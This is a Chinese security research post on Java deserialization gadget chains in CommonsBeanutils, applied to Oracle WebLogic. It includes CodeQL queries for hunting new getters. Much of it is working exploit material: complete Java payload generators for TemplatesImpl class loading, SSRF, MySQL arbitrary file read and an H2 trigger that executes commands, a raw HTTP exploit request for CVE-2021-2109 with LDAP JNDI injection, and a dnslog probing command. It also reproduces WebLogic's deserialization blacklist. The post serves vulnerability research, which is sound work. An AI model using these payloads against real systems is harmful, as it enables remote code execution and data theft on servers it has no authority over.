一、 CommonsBeanutils1
CommonsBeanutils1作为最常用的链之一,在xstream,shiro等反序列化项目中都大放异彩,分析它的文章已经有很多了,包括我在分析Click1时也提到过(Click1和CommonsBeanutils1非常类似)。
再简略讲一讲它的原理,其实就是在优先队列PriorityQueue设置比较器BeanComparator,再加入经典的TemplatesImpl类。当PriorityQueue被反序列化时,就会触发BeanComparator.compare(),这个方法可以执行任意getter,触发TemplatesImpl.getOutputProperties(),即可实现任意类加载。代码如下。
package cb;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils1 {
public static void main(String[] args) throws Exception {
FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\test\bin\test\TemplatesImplcmd.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
phithon对此链进行了改良,去除了CommonsCollections依赖,一般称之为CommonsBeanutils2。
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
c0ny1使用动态加载jar包的方法解决了1718版本和19版本serialVesionUID不一致的问题。
https://gv7.me/articles/2020/deserialization-of-serialvesionuid-conflicts-using-a-custom-classloader/
而这个链至今为此都未被官方修复,不像其他链比如CommonsCollections链已经很难见到,常见的spring项目中都已更新到无链的版本。甚至很多时候,项目中唯一的链就是CommonsBeanutils链。
二、 Weblogic中的CB链
在weblogic中,就存在CommonsBeanutils链。10版本中为1.7.x,12版本中为1.9.x
D:weblogicwlserverserverlibconsoleappAPP-INFlibcommons-beanutils.jar
而众所周知,weblogic的反序列化链是一直在被挖掘,对于第三方jar包,weblogic采取了黑名单的形式来拦截敏感类。
D:weblogicoracle_commonmodulescom.bea.core.utils.jar!weblogic.utils.io.oif.WebLogicFilterConfig.class
位于WebLogicFilterConfig的DEFAULT_BLACKLIST_PACKAGES和DEFAULT_BLACKLIST_CLASSES中。
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.UnicastRemoteObject;
!java.rmi.server.RemoteObjectInvocationHandler;
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.RemoteObject;
!com.tangosol.coherence.rest.util.extractor.MvelExtractor;
!java.lang.Runtime;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*;
!java.rmi.activation.*;
!sun.rmi.server.*;
!org.jboss.interceptor.builder.*;
!org.jboss.interceptor.reader.*;
!org.jboss.interceptor.proxy.*;
!org.jboss.interceptor.spi.metadata.*;
!org.jboss.interceptor.spi.model.*;
!com.bea.core.repackaged.springframework.aop.aspectj.*;
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;
!com.bea.core.repackaged.springframework.beans.factory.support.*;
!org.python.core.*
可以看到没有org.apache.commons.collections4,是因为weblogic只引入了commons-collections-3.2.2.jar,当然这是个没有漏洞的版本。
令人惊讶的是居然也没有org.apache.commons.beanutils.BeanComparator,虽然黑名单有com.sun.org.apache.xalan.internal.xsltc.trax.*导致无法直接RCE,但说不定能找出其他的getter呢?
注意,在最新版本中,weblogic增加了白名单,位于
D:weblogicwlservermodulescom.bea.core.weblogic.rmi.client.jar!weblogic.rjvm.InboundMsgAbbrev
private static final Class[] ABBREV_CLASSES = new Class[] { String.class, ServiceContext.class, ClassTableEntry.class, JVMID.class, AuthenticatedUser.class, RuntimeMethodDescriptor.class, Immutable.class };
三、 搭建Weblogic调试(可跳过)
这里不得不记录一下自己对于weblogic的搭建和调试。
此处下载Quick Installer,不过这个版本不是最新版,需要购买正版去打补丁,我下载的最上面的14.1.1.0.0和12.2.1.4.0版本都还存在CVE-2020-14883/CVE-2021-2109。
https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
然后以管理员身份运行cmd,
"C:Program FilesJavajdk1.8.0_181binjava.exe" -jar D:fmw_12.2.1.4.0_wls_quick.jar ORACLE_HOME=D:weblogic
复制文件完毕后运行
D:weblogicoracle_commoncommonbinconfig.cmd
配置完成后修改D:weblogicuser_projectsdomainsbase_domainbinsetDomainEnv.cmd
增加set debugFlag=true会开启8453端口以供远程调试。
最后运行D:weblogicuser_projectsdomainsbase_domainstartWebLogic.cmd
weblogic开启,就可以访问熟悉的console了。
http://127.0.0.1:7001/console/login/LoginForm.jsp
然后在idea中配置远程调试,文件——打开——D:weblogic
运行——编辑配置——加号——远程——端口改为8453
最后,增加以下目录为库,即可下断点调试。
D:weblogicwlserverserverlibconsoleappwebappWEB-INFlib
D:weblogicwlserverserverlib
D:weblogiccoherencelib
D:weblogicwlservermodules
D:weblogicoracle_commonmodules
也可以java -jar D:weblogic12wlserverserverlibwljarbuilder.jar生成wlfullclient.jar作为依赖。
四、 Weblogic引发的思考
遇到weblogic开了console,常利用的是CVE-2021-2109的jndi注入,可以搭配CVE-2020-14883,在实战中很有用。
GET /console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&handle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/test;AdminServer%22) HTTP/1.1
Host: 127.0.0.1:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
cmd: tasklist
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
既然是jndi注入,如果碰到jdk版本过高的问题,就必须用Factory或者反序列化进行绕过。这里浅蓝对此进行了研究,我也写了一个Urldns工具可以进行探测。
https://github.com/kezibei/Urldns
却发现并没有dnslog回显,并且出现了探测类的报错,跟踪代码后很容易发现是因为之前提到的黑名单的原因,可以剔除掉黑名单中的类再进行探测。
java -jar Urldns.jar ldap "CommonsBeanutils2|C3P0|AspectJWeaver|bsh|winlinux|jndiall" xxx.dnslog.cn
结果是仅有cb/el/mysql/oracle这些第三方jar包,虽然我也写了一个比较全ldap在jdk高版本下绕过工具,但这里显然无法以任何方式绕过。唯一的CB链也因为黑名单导致无法执行TemplatesImpl.getOutputProperties()。
难道真的没办法绕过吗?众所周知,weblogic几乎每隔几个月就被爆出大量反序列化漏洞,大部分都是T3/IIOP的,jndi高版本绕过当然也可以用这些已经披露的反序列化链。
Weblogic的T3反序列化史参考https://blog.szfszf.top/article/55/
从最开始的CC链,到readExternal二次反序列化,到jndi二次反序列化,到coherence,到jndi注入。
我们的目的是利用反序列化绕jndi高版本限制,那么jndi注入的CVE就被排除了,它们包括。
CVE-2020-14654/CVE-2020-14841/CVE-2021-2394/CVE-2022-21350
而较新的非jndi,以mvel或者反射直接执行恶意代码的CVE都依赖coherence,也就是说仅限12/14,10版本被排除在外了。
CVE-2020-14756/CVE-2020-2555/CVE-2020-2883/CVE-2021-2135
集成CVE-2021-2135到jndi高版本绕过工具效果如下。
当然,这不是我们今天研究的。回到最初的问题,既然CB链的本质是执行getter,我们只要再找个getter出来不就行了吗?
五、 CommonsBeanutils3
比较容易想到的getter是URL. getContent(),可以造成一个SSRF。
package cb;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.PriorityQueue;
public class CommonsBeanutils3_SSRF {
public static void main(String[] args) throws Exception {
URL url = new URL("http://127.0.0.1:5667");
//url.getContent();
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "content");
setFieldValue(queue, "queue", new Object[]{url, url});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
效果如下
但这个危害实在是过低,在学习jdbc对于ldap绕过的帮助时,由于要使用非常多的数据库项目,我们其实经常使用一个非常常见的getter,那就是getConnection(),它可以创建一个数据库链接,我们只要找出一个类,既实现了序列化接口,又存在无参getConnection就行了。
实际情况中,这种类非常非常多,由于最后造成的危害是跟数据库挂钩的,那么我们优先从数据库的类中挑选这种类。
Mysql8(weblogic为mysql-connector-java-commercial-8.0.14.jar)中存在com.mysql.cj.jdbc.MysqlDataSource,它实现了Serializable接口并且无参方法getConnection()可以造成连接。
那么制作反序列化payload。
package test;
import org.apache.commons.beanutils.BeanComparator;
import com.mysql.cj.jdbc.MysqlDataSource;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils3 {
public static void main(String[] args) throws Exception {
MysqlDataSource mds = new MysqlDataSource();
mds.setUrl("jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360");
mds.setPassword("123456");
mds.setUser("win_ini");
//mds.getConnection();
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "connection");
setFieldValue(queue, "queue", new Object[]{mds, mds});
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(queue);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
成功实现任意文件读取。
然后写好恶意ldap服务,在weblogic上用CVE-2021-2109打。
这里实现了mysql的任意文件读取,那么可以通过mysql的反序列化来绕过黑名单限制吗?答案是不行,在weblogic早期攻防对抗中就开始对这种二次反序列化的办法围追堵截了。这里是直接利用的JDK内部filter去限制黑名单类。
Weblogic内置mysql和Oracle,Oracle的jdbc也有一点小小的危害,来找找Oracle的getConnection()吧。也很容易找到oracle.jdbc.datasource.impl.OracleDataSource。
OracleDataSource ods = new OracleDataSource();
ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");
ods.setUser("system");
ods.setPassword("123456");
//ods.getConnection();
除此之外,其他的封装数据库驱动和jdbc的jar包,很多也存在有危害的getConnection(),但是由于它们单独构不成危害,显得有些鸡肋。
比如我从weblogic中找到的一个类。
D:weblogicoracle_commonmodulesoracle.ucp.jar!oracle.ucp.jdbc.PoolDataSourceImpl
PoolDataSourceImpl pds = new PoolDataSourceImpl();
pds.setConnectionFactoryClassName("oracle.jdbc.driver.OracleDriver");
pds.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/test");
pds.setUser("user");
pds.setPassword("password");
pds.setConnectionPoolName("demo-pool");//注意这里最好每次生成新的名称,否则只能触发一次。
pds.setInitialPoolSize(3);
pds.setMaxPoolSize(3);
pds.setValidateConnectionOnBorrow(true);
//pds.getConnection();
有意思的是这个类也实现了ObjectFactory接口,也是高版本jdk绕jndi注入的方案之一。
提到jdbc的危害,就绕不过去h2,h2中也有符合条件的类org.h2.jdbcx.JdbcDataSource。
JdbcDataSource jds = new JdbcDataSource();
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONn" +
"INFORMATION_SCHEMA.TABLES AS $$//javascriptn" +
"java.lang.Runtime.getRuntime().exec('calc')n" +
"$$n";
jds.setUrl(JDBC_URL);
//jds.getConnection();
但直接getConnection能成功,cb链反序列化却不成功,原因是它的每个getter都会执行父类的trace.isDebugEnabled(),而父类TraceObject无法反序列化,导致其属性trace为null而报错。这个时候PoolDataSourceImpl这种类就能派上用场了。
PoolDataSourceImpl在这里起到的作用和ldap的各种数据库工厂类一样,因此在commons-dbcp/druid/HikariCP/tomcat-dbcp,都能找到类似的类。
回到weblogic上去,虽然我们的目的是通过CB3这个反序列化链来绕高版本jdk对ldap的限制,但实际上等于找到了一条weblogic内部反序列化链。这条链能够用来T3/IIOP反序列化吗?
这里直接打进去不报错也没有mysql请求,在java.io.ObjectInputStream.filterCheck()下断点并逐步调试可以发现这样一个报错。
根本就没有org.apache.commons.beanutils.BeanComparator类,再看看jar包位置。
D:weblogicwlserverserverlibconsoleappAPP-INFlibcommons-beanutils.jar
也就是说仅在web-console中才引入commons-beanutils,而一般weblogic反序列化漏洞都在T3/IIOP协议中找的。这也难怪黑名单中没有commons-beanutils。
那么CommonsBeanutils3仅能做ldap绕过的补充,并不能T3反序列化。
六、 如何挖掘更多的getter
这个时候就要上codeql了,搭建的过程略过,网上很多教程,如果你是windows需要在linux平台也搭一个。后面用到的一个工具仅限mac/linux。
搭建好codeql+VScode如下。
然后去创建数据库,一般来说,codeql数据库需要下载对应项目的源码,然后执行mvn,根据编译过程来创建数据库。
codeql database create shirodb --language=java --overwrite --command="mvn package -Dmaven.test.skip"
但这样很不稳定容易报错,对于单jar包来说,可以用https://github.com/waderwu/extractor-java直接反编译创建数据库。
使用方法很简单,创建cb目录,在cb目录
unzip commons-beanutils-1.9.4.jar
反编译cb目录所有class
python3 class2java.py cb
创建数据库cbdb
python3 run.py cbdb cb
在创建大数据库时可能内存不足报错,可以修改run.py中的-Xmx/-Xms配置。
不过此项目仅能在mac/linux环境中使用,可以创建好数据库再导入到windows上的VScode。
然后就是找getter了,先尝试用ql写一个简单的getter,首先这个getter的类必须实现Serializable接口,因此先创建个SerializableMethod。
然后就是找getter了,先尝试用ql写一个简单的getter,首先这个getter的类必须实现Serializable接口,因此先创建个SerializableMethod。
import java
abstract class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
然后想想getter该怎么写,以get开头,大于3字节,Public方法,没有参数。
class GetMethod extends SerializableMethod {
GetMethod() {
this.getName().matches("get%")
and this.getName().length() > 3
and this.isPublic()
and this.paramsString() = "()"
}
}
最后加上查询,合起来就是。
import java
abstract class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
class GetMethod extends SerializableMethod {
GetMethod() {
this.getName().matches("get%")
and this.getName().length() > 3
and this.isPublic()
and this.paramsString() = "()"
}
}
from GetMethod source
select source,
source.getDeclaringType().getPackage().getName(),
source.getDeclaringType()
可是出现的都是JDK自带的类,因此要加上fromSource()限制。
就这么简单我们实现了利用codeql去筛选getter。
再去确定一个sink点,比如常用的invoke
class Invoke extends Method {
Invoke() {
this.getACallee().hasName("invoke")
}
}
然后实现edges方法去追踪getter到invoke。
query predicate edges(Method a, Method b) {
a.polyCalls(b)
}
以及使用path模板
/**
* @kind path-problem
*/
最终代码如下
/**
* @kind path-problem
*/
import java
abstract class SerializableMethod extends Method {
SerializableMethod() {
this.getDeclaringType().getASupertype*() instanceof TypeSerializable
}
}
class GetMethod extends SerializableMethod {
GetMethod() {
this.getName().matches("get%")
and this.isPublic()
and this.getName().length() > 3
and this.paramsString() = "()"
and this.fromSource()
}
}
class Invoke extends Method {
Invoke() {
this.getACallee().hasName("invoke")
}
}
query predicate edges(Method a, Method b) {
a.polyCalls(b)
}
from GetMethod source,Invoke sink
where edges*(source,sink)
select sink, source, sink, "Sink is reached from $@.", source, "here"
可以看到,在cbdb中可以找到4条链,但都是无法使用的。对于invoke来说,可以直接看sink点来快速判断是否能够使用。比如下面这个,method为常量。
并且在实际找链过程中,发现即使有完全可控的invoke也不好使,因为要实际invoke的对象也应该是可以反序列化的,一般是用TemplatesImpl来解决,但这里用不了。除非是像CC链的Transformer那样从Class开始循环反射调用。所以感觉还是选择其他sink点比较靠谱。
这里只是基础,真的要找链还要注意各种繁琐细节,很看个人经验,这里可以参考前人的文章。
https://blog.diggid.top/2022/04/30/%E4%BD%BF%E7%94%A8CodeQL-CHA%E8%B0%83%E7%94%A8%E5%9B%BE%E5%88%86%E6%9E%90%E5%AF%BB%E6%89%BE%E6%96%B0%E7%9A%84CC%E9%93%BE/
https://xz.aliyun.com/t/10852
当然,绕jndi也可以用ObjectFactory的getObjectInstance(),要从weblogicdb中搜索。建wlfullclient数据库和找链都非常耗时。
class ObjectFactory extends Method {
ObjectFactory() {
this.getName() = "getObjectInstance"
and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.naming.spi", "ObjectFactory")
and this.isPublic()
and this.fromSource()
}
}
最终我几乎没有什么发现,但过程还是学到不少的。
原文始发于微信公众号(珂技知识分享):从CommonsBeanutils说开去